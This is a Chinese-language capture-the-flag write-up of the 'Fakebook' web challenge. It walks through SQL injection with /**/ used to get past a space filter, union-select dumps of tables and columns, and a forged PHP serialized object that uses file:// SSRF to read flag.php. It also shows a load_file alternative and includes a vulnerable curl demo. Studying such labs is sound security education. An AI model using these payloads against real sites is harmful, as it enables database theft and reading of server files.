打開題目
第一種解法
我們先隨便join一下
這里起初我的四個框都是隨便填1的,但是發(fā)現(xiàn)注冊不了,幾經(jīng)嘗試以后發(fā)現(xiàn)blog那個框里面必須填一個類似什么網(wǎng)頁的域名,例如我亂寫的qqq.com,bai.com等
所以我最后亂填了個baidu.com就注冊成功了
其余都是亂填1
加入成功
點擊我們的用戶名
發(fā)現(xiàn)了注入點?no=1 原因是在1后面亂加什么東西,都會對頁面結(jié)果產(chǎn)生影響
?接下來我們判斷列名字段數(shù)
?no=1 order by 4 # 頁面正常
??no=1 order by 5 # 頁面錯誤
說明列名字段數(shù)為4
?我們用聯(lián)合注入查詢時,發(fā)現(xiàn)過濾了空格,我們用/**/來繞過空格
??no=11 union/**/select 1,2,3,4 #
發(fā)現(xiàn)回顯位是2
?no=11 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() #
發(fā)現(xiàn)username下回顯了users,說明表名為users
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users'? #
發(fā)現(xiàn)有no,username,passwd,data四個列名字段
?no=-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users #
或者
?no=-1 union/**/select 1,concat_ws(no,username,passwd,data),3,4 from users #
同時我們還發(fā)現(xiàn)了反序列化函數(shù)
查看頁面源代碼無果后,我們訪問robots.txt看看
/user.php.bak,訪問這個
代碼如下
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
這段代碼很有可能存在ssrf漏洞
查看頁面源代碼得到
這段對應(yīng)網(wǎng)頁的博客內(nèi)容
而我們之前爆出來的字段正是序列化后的內(nèi)容
O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:9:"baidu.com";}
說明注冊時會序列化我們的注冊信息,回顯到頁面時再反序列化。
而這個data本來回顯的是我們自己的博客,但我們把它改為回顯flag.php就可以構(gòu)成ssrf漏洞
修改自己最后blog字段內(nèi)容,改為file:///var/www/html/flag.php
,并把對應(yīng)的s改為對應(yīng)長度29
O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
之前爆破出來的data字段在第四位,所以我們放在第四位
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
看源代碼,點擊data的鏈接,得到flag
?第二種解法
我們之前在爆破列名字段數(shù)時,看見了頁面回顯的錯誤信息
報錯位置在/var/www/html/db.php
那我們是不是可以用sql數(shù)據(jù)庫提供的load_file讀取文件函數(shù)呢
?no=-1 union/**/select 1,load_file('/var/www/html/flag.php'),3,4 #
查看頁面源代碼直接得到flag
做題思路
1.判斷注入點
我們發(fā)現(xiàn)了sql注入點?no=1,在1后面加內(nèi)容可以對頁面結(jié)果造成影響
2.判斷列名字段數(shù)
?no=1 order by 4 # 頁面正常
?no=1 order by 5 # 頁面錯誤
說明列名字段數(shù)為4
3.爆破表名
?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() #
知道表名為users
4.爆破列名
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' #
或
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users'? #
爆破出來no,username,passwd,data四個列名
5.爆破數(shù)據(jù)
?no=-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users #
爆破得到username列下的數(shù)據(jù)
同時發(fā)現(xiàn)反序列化函數(shù)unserialize()
6.訪問robots.txt查看源碼
在下面發(fā)現(xiàn)了
/user.php.bak
訪問,查看源碼發(fā)現(xiàn)了ssrf漏洞
7.查看博客的源代碼
發(fā)現(xiàn)data所指的內(nèi)容就是博客的內(nèi)容,構(gòu)成了一個ssrf漏洞
8.利用之前在username爆破出來的序列化數(shù)據(jù)構(gòu)造payload
O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:9:"baidu.com";}
構(gòu)造payload,指向flag
/var/www/html/flag.php,利用偽協(xié)議文件包含 file:// 訪問本地文件系統(tǒng)
并修改長度
O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
9.修改data的內(nèi)容,使其指向flag的鏈接,查看源代碼即可得到flag
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
知識點:
- 什么是ssrf
SSRF (Server-Side Request Forgery,服務(wù)器端請求偽造)是一種由攻擊者構(gòu)造請求,由服務(wù)端發(fā)起請求的安全漏洞。一般情況下,SSRF攻擊的目標(biāo)是外網(wǎng)無法訪問的內(nèi)部系統(tǒng)(正因為請求是由服務(wù)端發(fā)起的,所以服務(wù)端能請求到與自身相連而與外網(wǎng)隔離的內(nèi)部系統(tǒng))。
- SSRF的形成原因
大多是由于服務(wù)端提供了從其他服務(wù)器應(yīng)用獲取數(shù)據(jù)的功能且沒有對目標(biāo)地址做過濾與限制。例如,黑客操作服務(wù)端從指定URL地址獲取網(wǎng)頁文本內(nèi)容,加載指定地址的圖片等,利用的是服務(wù)端的請求偽造。SSRF利用存在缺陷的Web
應(yīng)用作為代理攻擊遠(yuǎn)程和本地的服務(wù)器
- ssrf漏洞產(chǎn)生相關(guān)函數(shù):
file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()
- 漏洞Demo:
<?php function curl($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); } $url = $_GET['url']; curl($url); ?>
一般情況下,SSRF是要目標(biāo)網(wǎng)站的內(nèi)部系統(tǒng)。(因為他是從內(nèi)部系統(tǒng)訪問的,所有可以通過它攻擊外網(wǎng)無法訪問的內(nèi)部系統(tǒng),也就是把目標(biāo)網(wǎng)站當(dāng)中間人)
SSRF 形成的原因大都是由于服務(wù)端提供了從其他服務(wù)器應(yīng)用獲取數(shù)據(jù)的功能,且沒有對目標(biāo)地址做過濾與限制。比如從指定URL地址獲取網(wǎng)頁文本內(nèi)容,加載指定地址的圖片,文檔,等等。
舉例 : A網(wǎng)站,是一個所有人都可以訪問的外網(wǎng)網(wǎng)站,B網(wǎng)站是一個他們內(nèi)部的OA網(wǎng)站。
所以,我們普通用戶只可以訪問a網(wǎng)站,不能訪問b網(wǎng)站。但是我們可以同過a網(wǎng)站做中間人,訪問b網(wǎng)站,從而達(dá)到攻擊b網(wǎng)站需求。
?
- 反序列化函數(shù)
- 1. serialize和unserialize函數(shù)
- 2. json_encode 和 json_decode
- 3. var_export 和 eval
- 4. wddx_serialize_value 和 wddx deserialize
- 反序列化和序列化
序列化(串行化):是將變量轉(zhuǎn)換為可保存或傳輸?shù)淖址倪^程;
反序列化(反串行化):就是在適當(dāng)?shù)臅r候把這個字符串再轉(zhuǎn)化成原來的變量使用。
這兩個過程結(jié)合起來,可以輕松地存儲和傳輸數(shù)據(jù),使程序更具維護(hù)性。
常見的php序列化和反序列化方式主要有:serialize,unserialize;json_encode,json_decode。
相關(guān)文章鏈接見:
BUUCTF [網(wǎng)鼎杯 2018]Fakebook 1_buuctf fakebook 1___byb__的博客-CSDN博客文章來源:http://www.zghlxwxcb.cn/news/detail-741149.html
https://www.cnblogs.com/miruier/p/13907150.html文章來源地址http://www.zghlxwxcb.cn/news/detail-741149.html
到了這里,關(guān)于[網(wǎng)鼎杯 2018]Fakebook1的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!